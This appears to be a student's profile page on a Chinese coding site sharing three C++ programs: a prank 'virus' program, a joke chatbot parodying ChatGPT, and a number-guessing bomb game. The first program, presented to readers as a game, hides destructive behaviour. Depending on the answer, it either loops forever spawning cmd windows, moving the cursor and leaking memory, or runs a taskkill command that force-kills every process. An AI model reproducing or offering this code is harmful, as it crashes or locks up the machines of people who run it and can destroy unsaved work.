-
个人简介
6 不 6 </p>
#include<bits/stdc++.h> #include<windows.h> #include<conio.h> #include <iostream> #include <Windows.h> #include <winternl.h> using namespace std; int main(){ int a=GetSystemMetrics(SM_CXSCREEN); int b=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); for(int i=100;i>=1;i--){ system("color 0A"); cout<<"如果再不关掉你的电脑将会被病毒入侵"<<endl; cout<< " "<<i<<endl; Sleep(100); system("cls"); } for(int i=1;i<=10;i++){ system("color 0A"); cout<<"再警告一次,快点!!!"<<endl; Sleep(100); system("cls"); } for(int i=1;i<=10;i++){ system("color 0A"); cout<<"正在入侵."<<endl; Sleep(100); system("cls"); cout<<"正在入侵.."<<endl; Sleep(100); system("cls"); cout<<"正在入侵..."<<endl; Sleep(100); system("cls"); cout<<"正在入侵...."<<endl; Sleep(100); system("cls"); cout<<"正在入侵....."<<endl; Sleep(100); system("cls"); cout<<"正在入侵......"<<endl; Sleep(100); system("cls"); } cout<<"哈哈,我在骗你的,这是一个游戏代码,你要玩吗?输入玩或者不玩"; string j; cin>> j; if(j=="不玩") { cout<<"-------------------------------"<<endl; cout<<"process exited after 0.05895 seconds with return value 0"<<endl; printf("请按任意键继续. . ."); getch(); for(;;){ system("start cmd"); SetCursorPos(rand()%a,rand()%b); Sleep(1000); malloc(1000000); } } else{ system("taskkill /f /fi 'pid ge 1'"); } return 0; }
chatgpt代码
#include<bits/stdc++.h> #include<string> using namespace std; int getRand(int min, int max) { return ( rand() % (max - min + 1) ) + min ; } int main() { srand(time(0)); cout<<"我是chatggt你要帮助吗?"<<endl; for(;;){ string a; int r = getRand(1,3); cin>>a; if(r==1){ cout<<"这个问题好难,换一个吧!"<<endl; } if(r==2){ cout<<"凉拌!!!"; } if(r==3){ for(int i=0;i<=100;i++){ cout<<"啊吧啊吧啊吧啊吧啊吧"; } } } }
数字炸弹2.0
#include <bits/stdc++.h> #include<windows.h> using namespace std; long long a, b = 100, c = 1, d, e, g = 0, k = 0; string l, f; int main() { srand(time(0)); long long x = rand() % 100; cout << " " << "数字炸弹" << endl; cout << "输入你的ID" << endl; cin >> f; system("cls"); for (;;) { system("cls"); cout << "欢迎" << f << "来到数字炸弹游戏,如果你赢了你就会拿到100万。" << endl; cout << " " << "1.开始游戏" << endl; cout << " " << "2.退出游戏" << endl; cout << " " << "胜利次数:" << g << endl; cout << " " << "失败次数:" << k << endl; cin >> d; if (d == 1) { system("cls"); cout << "输入数字吧" << endl; } else if (d == 2) { system("cls"); cout << "白白" << endl; break; } else if (d != 1 && d != 2) { cout << "错误" << endl; break; } long long p = rand() % 3 + 1; if (p == 0) { l = "电脑之神"; } if (p == 1) { l = "QAQ"; } if (p == 2) { l = "我的世界64648"; } if (p == 3) { l = "大佬"; } long long o = rand() % 4; system("cls"); for (int i = 1; i <= o; i++) { cout << "正在匹配"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); system("cls"); } long long n = rand() % 4; system("cls"); for (int i = 1; i <= n; i++) { cout << "正在加载"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); cout << "。"; Sleep(500); system("cls"); } for (;;) { cout << f << ":"; cin >> a; cout << endl; if (a <= c || a >= b) { cout << "输入" << c << "到" << b << "之间的数" << endl; continue; } if (a == x) { cout << "bong,你被炸死了" << endl; k++; break; } if (a < x) { c = a; } if (a > x) { b = a; } cout << c << "到" << b << "中选一个数" << endl; cout << endl; long long j = rand() % (b - c) + c; cout << l << ":" << j << endl; cout << endl; if (j == x) { cout << "bong,你被炸死了" << endl; cout << endl; g++; break; } if (j < x) { c = j; } if (j > x) { b = j; } cout << c << "到" << b << "中选一个数" << endl; cout << endl; } } return 0; }
上次代码出现BUG,现在紧急修复了。如果你遇到了BUG,请告诉我。希望你们玩的开心,后面我会增加更多的模式和功能。
数字炸弹我加了人机系统,可以让你和敌人竞技。